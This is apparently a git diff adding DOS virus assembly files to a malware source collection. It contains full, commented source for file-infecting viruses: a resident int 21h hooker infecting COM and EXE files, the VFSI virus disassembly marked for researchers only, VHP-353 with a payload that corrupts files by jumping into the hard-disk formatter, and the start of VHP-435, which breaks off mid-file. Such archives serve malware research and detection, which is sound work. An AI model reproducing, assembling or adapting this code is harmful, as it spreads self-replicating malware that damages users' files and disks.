ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start +================================================================================ diff --git a/MSDOS/Virus.MSDOS.Unknown.vfsi-asm.asm b/MSDOS/Virus.MSDOS.Unknown.vfsi-asm.asm new file mode 100644 index 00000000..b45cb695 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vfsi-asm.asm @@ -0,0 +1,326 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page ,132 + name VFSI + title The 'VFSI' virus + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'VFSI' Virus +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +msg_len equ msg_2-msg_1 ; Length of each of the two messages + +start: + jmp v_entry ; Jump to the virus body + nop ; The rest of the infected program + mov ax,4C00 ; Just terminate + int 21 + +; 1-15 bytes of garbage (in order to align +; the virus code to a paragraph boundary): + + db 7 dup (0) + +v_entry: + mov ax,word ptr ds:[start+1] + add ax,offset start ; Compute the virus start address + + mov cl,4 ; Convert it to a segment address + shr ax,cl + mov cx,ds + add ax,cx + inc ax + mov ds,ax ; Put this segment address in DS + + jmp v_start ; Jump to the true virus code + +first3 db 0EBh, 2, 90 ; The original first 3 bytes +fmask db '*.COM', 0 ; Files to search for +jmp_op db 0E9 ; A JMP to the virus body is formed here +jmp_adr dw 0Dh + +; First of the two encrypted messages. It says: +; 'HELLO!!! HAPPY DAY and SUCCESS' + +msg_1 db 2Ah, 28h, 30h, 31h, 35h, 08h + db 09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh + db 3Eh, 48h, 10h, 35h, 33h, 4Ch + db 14h, 56h, 64h, 5Bh, 18h, 4Ch + db 4Fh, 3Eh, 3Fh, 42h, 51h, 52h + +; Second encrypted message. It says: +; ' from virus 1.1 VFSI-Svistov ' + +msg_2 db 02h, 03h, 4Ah, 57h, 55h, 54h + db 08h, 5Fh, 53h, 5Dh, 61h, 60h + db 0Eh, 20h, 1Eh, 22h, 12h, 49h + db 3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh + db 63h, 6Eh, 70h, 6Ch, 74h, 1Fh + +grb_len db 7 ; Length of the garbage added to the file + +v_start: + push ds ; Save DS + + mov ax,ds:[first3-v_entry] ; Restore the original first 3 + mov word ptr cs:[offset start],ax ; bytes of the infected file + mov al,ds:[first3+2-v_entry] + mov byte ptr cs:[offset start+2],al + + mov ax,1A00 ; Set new DTA + lea dx,cs:[dta-v_entry] + int 21 ; Do it + + mov ax,4E00 ; Find first .COM file in the current directory + lea dx,cs:[fmask-v_entry] ; File mask to search for + mov cx,00100010b ; Archive, Hidden and Normal files + int 21 ; Do it + +srch_lp: + jnc cont ; If found, continue + jmp close ; Otherwize exit + +cont: + mov ax,3D02 ; Open the file for both reading and writing + lea dx,cs:[fname-v_entry] + int 21 ; Do it + + mov bx,ax ; Save file handle in BX + + mov ax,4202 ; Lseek to the end of file + xor cx,cx + xor dx,dx + int 21 ; Do it + + mov word ptr ds:[fsize-v_entry],ax ; Save file size + + sub ax,2 ; Lseek two bytes before the file end + mov dx,ax + mov ax,4200 + int 21 ; Do it + + mov ax,3F00 ; Read the last two bytes of the file + lea dx,cs:[last2-v_entry] ; Put them there + mov cx,2 ; (these bytes should contain + int 21 ; the virus signature) + + mov cx,ds:[last2-v_entry] ; Get these bytes + cmp cx,ds:[sign-v_entry] ; Compare them with the virus signature + +; If they are not equal, then the file is still not infected. Go infect it: + + jne infect + + mov ax,3E00 ; If file infected, close it + int 21 ; Do close + + mov ax,4F00 ; Find the next .COM file + lea dx,cs:[dta-v_entry] + int 21 ; Do it + + jmp srch_lp ; Loop until a non-infected file is found + +; A non-infected file is found. Infect it: + +infect: + mov ax,5700 ; Get file's date & time + int 21 ; Do it + + push cx ; Save time & date on stack + push dx + + mov ax,4200 ; Lseek to the file beginning + xor dx,dx + xor cx,cx + int 21 ; Do it + + mov ax,3F00 ; Read the original first 3 bytes of the file + mov cx,3 + lea dx,cs:[first3-v_entry] ; Save them in the virus body + int 21 ; Do it + + mov ax,4200 ; Lseek to the beginning of the file again + xor dx,dx + xor cx,cx + int 21 ; Do it + +; Align file size to the next multiple of 16: + + mov ax,ds:[fsize-v_entry] + and ax,1111b + push ax ; Save AX + xor ax,1111b + inc ax + +; Save the number of garbage bytes added in grb_len: + + mov byte ptr ds:[grb_len-v_entry],al + + add ax,ds:[fsize-v_entry] ; Form a Near JMP to the virus code + sub ax,3 + mov word ptr ds:[jmp_adr-v_entry],ax ; Form the operand + + mov ax,4000 ; Write this JMP in the first 3 bytes of file + lea dx,cs:[jmp_op-v_entry] + mov cx,3 + int 21 ; Do it + + mov ax,4202 ; Lseek to the end of file + mov dx,0 + xor cx,cx + int 21 ; Do it + + lea cx,cs:[v_end-v_entry-1] ; Virus size + pop ax ; Restore AX (new file size) + mov dx,ax + xor ax,1111b + add ax,2 + add cx,ax ; Number of bytes to write + + mov ax,ds ; DS := DS - 1 + dec ax + mov ds,ax + + mov ax,4000 ; Write the virus body after the end of file + int 21 ; Do it + + pop dx ; Restore file's date & time + pop cx + mov ax,5701 + int 21 ; Do it + +close: + mov ax,3E00 ; Close the file + int 21 + + pop ds ; Restore DS + + mov ah,2C ; Get current time + int 21 + +; If the hundreds of seconds are > 20, quit. +; This means that the messages are displayed +; with a probability of about 1/5: + + cmp dl,20d ; Hundreds of seconds > 20? + jg quit ; Exit if so + +; Print the messages: + + mov ax,0E07 ; Beep (teletype write of ASCII 7) + int 10 ; Do it + + mov ax,0F00 ; Get video mode + int 10 ; Do it + + push ax ; Save mode on the stack + + xor ax,ax ; Set video mode to 40x25 text + int 10 ; Do it + + mov cx,msg_len ; Put message length in CX + mov dx,0A06 ; Goto row 10, column 6 + mov bl,0E ; Screen attribute: dark yellow on black + lea bp,cs:[msg_1-v_entry] ; Point to the first message + +prt_msg: + mov ah,2 ; Go to the next display position + int 10 ; Do it + + mov si,msg_len ; Get an ecrypted character from the message + sub si,cx + mov al,ds:[bp+si] + + add al,msg_len ; These two instruction are needless + sub al,msg_len + + add al,cl ; Decrypt the character + + mov ah,9 ; Write the character with the + int 10 ; selected attribute + + inc dl ; Go to the next screen position + + loop prt_msg ; Loop until done + + cmp dh,10d ; Was this row 10? + jne msg_done ; If not, message printed; exit + + mov cx,msg_len ; Otherwise get the length of the next message + mov bl,8C ; Screen attribute: blinking bright red on black + mov dx,0C06 ; Go to row 12, column 6 + lea bp,cs:[msg_2-v_entry] ; Point to the second message + jmp prt_msg ; And go print it + +msg_done: + xor cx,cx ; CX := 0 +delay: + imul cx ; Cause a delay + imul cx + loop delay ; Loop until done + + pop ax ; Restore video mode from the stack + xor ah,ah + int 10 ; Set it as it was originally + +quit: + push cs ; DS := CS + pop ds + + mov ax,1A00 ; Restore old DTA + mov dx,81 + int 21 ; Do it + + mov si,offset start ; Jump to address CS:100h + jmp si ; Do it + +sign db 0F1, 0C8 ; Virus signature + +v_end equ $ + +fsize equ $ ; Word. File size is saved here +last2 equ $+2 ; Word. Buffer for reading the virus signature +dta equ $+4 ; Disk Transfer Area +fname equ dta+1E ; File name found + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vhp-353.asm b/MSDOS/Virus.MSDOS.Unknown.vhp-353.asm new file mode 100644 index 00000000..050b3f80 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vhp-353.asm @@ -0,0 +1,274 @@ + page ,132 + name VHP_353 + title Virus; based on the famous VHP-648 virus + .radix 16 + +code segment + assume cs:code,ds:code + + org 100 + +environ equ 2C + +newjmp equ 7Bh ;Code of jmp instruction +codeptr equ 7A ;Here is formed a jump to the virus code +pname equ 78 ;Offset of file name in the dir path +poffs equ 76 ;Offset in the contents of the `PATH' variable +errhnd equ 74 ;Save place for the old error handler +fname equ 70 ;Path name to search for +mydta equ 2C ;DTA for Find First/Next: +attrib equ 17 ;File attribute +time equ 16 ;File time +date equ 14 ;File date +fsize equ 12 ;File size +namez equ 0E ;File name found + +start: + jmp short begin + nop + int 20 + +saveins db 3 dup (90) ;Original first 3 bytes + +begin: + call virus ;Detrmine the virus start address + +data label byte ;Data section + +allcom db '*.COM',0 ;Filespec to search for +pathstr db 'PATH=' + +;This replaces the first instruction of a destroyed file. +;It's a JMP instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,6,0,0,0C8 + +virus: + pop bx ;Make BX pointed at data + mov di,offset start ;Push the program true start address + push di ; onto the stack + push ax ;Save AX + + cld + lea si,[bx+saveins-data] ;Original instruction saved there + movsw ;Move 2 + 1 bytes + movsb + mov si,bx ;Keep SI pointed at data + + lea bp,[bx+endcode-data+7A] ;Reserve local storage + + mov ax,3524 ;Get interrupt 24h handler + int 21 ; and save it in errhnd + + mov [bp-errhnd],bx + mov [bp-errhnd+2],es + + mov ah,25 ;Set interrupt 24h handler + lea dx,[si+handler-data] + cmp al,0 ;DOS < 2.0 zeroes AL + je exit ;Exit if version < 2.0 + push ds + int 21 + + lea dx,[bp-mydta] + mov ax,1A00 ;Set DTA + int 21 + + xor di,di ;Point ES:DI at the environment start + mov es,ds:[di+environ] ;Environment address + mov bx,si +search: ;Search 'PATH' in the environment + lea si,[bx+pathstr-data] + mov cx,5 ;5 letters in 'PATH=' + repe cmpsb + je pfound ;PATH found, continue + mov ch,80 ;Maximum 32 K in environment + repne scasb ;If not, skip through next 0 + scasb ;End of environment? + dec di + jc search ;If not, retry +pfound: + pop es ;Restore ES + + mov [bp-poffs],di ;Save 'PATH' offset in poffs + lea di,[bp-fname] + mov [bp-pname],di + +filesrch: + lea si,[bx+allcom-data] + movsw + movsw ;Move '*.COM' at fname + movsw + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + lea dx,[bp-fname] + mov cl,11b ;Hidden, Read/Only or Normal files + jmp short findfile + +checkfile: + mov al,[bp-time] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + +;Is 10 <= file_size <= 64,000 bytes? + + sub word ptr [bp-fsize],10d + cmp [bp-fsize],64000d-10d+1 + jc process ;If so, process the file + +findnext: ;Otherwise find the next file + mov ah,4F ;Find next file +findfile: + int 21 + jnc checkfile ;If found, go chech some conditions + +nextdir: + mov si,[bp-poffs] ;Get the offset in the PATH variable + lea di,[bp-fname] ;Point ES:DI at fname + mov ds,ds:[environ] ;Point DS:SI at the PATH variable found + cmp byte ptr [si],0 ;0 means end of PATH + jnz cpydir + +olddta: + mov ax,2524 ;Set interrupt 24h handler + lds dx,dword ptr [bp-errhnd] + int 21 + push cs + pop ds ;Restore DS + +exit: + mov ah,1A ;Set DTA + mov dx,80 ;Restore DTA + int 21 + + pop ax + ret ;Go to CS:IP by doing funny RET + +cpydir: + lodsb ;Get a char from the PATH variable + cmp al,';' ;`;' means end of directory + je enddir + cmp al,0 ;0 means end of PATH variable + je enddir + stosb ;Put the char in fname + jmp cpydir ;Loop until done +enddir: + push cs + pop ds ;Restore DS + mov [bp-poffs],si ;Save the new offset in the PATH variable + mov al,'\' ;Add '\' + stosb + mov [bp-pname],di + jmp filesrch ;And go find the first *.COM file + +process: + mov di,dx ;[bp-pname] + lea si,[bp-namez] ;Point SI at namez +cpyname: + lodsb ;Copy name found to fname + stosb + cmp al,0 + jne cpyname + mov si,bx ;Restore SI + + mov ax,4301 ;Set file attributes + call clr_cx_dos + + mov ax,3D02 ;Open file with Read/Write access + int 21 + jc oldattr ;Exit on error + mov bx,ax ;Save file handle in BX + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + jnz infect ;If not, contaminate file (don't destroy): + +;Destroy file by rewriting the first instruction: + + mov cx,5 ;Write 5 bytes + lea dx,[si+bad_jmp-data] ;Write THESE bytes + jmp short do_write ;Do it + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +infect: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + lea dx,[si+saveins-data] ;Put them there + call dos_rw + jc oldtime ;Exit on error + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + call clr_dx_cx_dos + + mov [bp-codeptr],ax ;Save result in codeptr + + mov cx,endcode-saveins ;Virus code length as bytes to be written + lea dx,[si+saveins-data] ;Write from saveins to endcode + call dos_write ;Write to file handle + jc oldtime ;Exit on error + + call lseek ;LSEEK to the beginning of the file + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov cl,3 ;3 bytes to write + lea dx,[bp-newjmp] ;Write THESE bytes +do_write: + call dos_write ;Write to file handle + +oldtime: + mov dx,[bp-date] ;Restore file date + mov cx,[bp-time] ; and time + or cl,11111b ;Set seconds to 62 (the virus' marker) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[bp-attrib] ;They were saved in attrib + and cx,3F + lea dx,[bp-fname] + int 21 ;Do it + jmp olddta ;And exit + +lseek: + mov ax,4200 ;LSEEK from the beginning of the file +clr_dx_cx_dos: + xor dx,dx ;From the very beginning +clr_cx_dos: + xor cx,cx ;Auxiliary entry point + db 3Dh ;Trick +dos_write: + mov ah,40 ;Write to file handle +dos_rw: + int 21 + jc dos_ret ;Exit on error + cmp ax,cx ;Set CF if AX < CX +dos_ret: + ret + +handler: ;Critical error handler + mov al,0 ;Just ignore the error + iret ; and return + + db 0E9 ;The JMP opcode + +endcode label byte + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vhp-435.asm b/MSDOS/Virus.MSDOS.Unknown.vhp-435.asm new file mode 100644 index 00000000..f149f83b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vhp-435.asm @@ -0,0 +1,304 @@ + name Virus + title Virus; based on the famous VHP-648 virus + .radix 16 + +code segment + assume cs:code,ds:code + + org 100 + +environ equ 2C + +newjmp equ 7Bh ;Code of jmp instruction +codeptr equ 7A ;Here is formed a jump to virus code +pname equ 78 ;Offset of file name in dir path +poffs equ 76 ;Address of 'PATH' string +errhnd equ 74 ;Old error handler +fname equ 70 ;Path name to search for +mydta equ 2C ;DTA for Find First/Next: +attrib equ 17 ;File attribute +time equ 16 ;File time +date equ 14 ;File date +fsize equ 12 ;File size +namez equ 0E ;File name found + +start: + jmp short virus + nop + int 20 + +data label byte ;Data section +saveins db 3 dup (90) ;Original first 3 bytes +allcom db '*.COM',0 ;Filespec to search for +pathstr db 'PATH=' + +;This replaces the first instruction of a destroyed file. +;It's a jmp instruction into the hard disk formatting program (IBM XT only): + +bad_jmp db 0EA,5,0,0,0C8 + +virus: + push ax + push cx ;Save CX + + call self ;Detrmine the program start address + nop ;For those looking for the E80000 pattern +self: + pop bx + sub bx,self-data-1 ;Keep BX pointed at data + cld + lea si,[bx+saveins-data] ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,bx ;Keep SI pointed at data + + push bp ;Reserve local storage + mov bp,sp + sub sp,7C + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ax,3524 ;Get 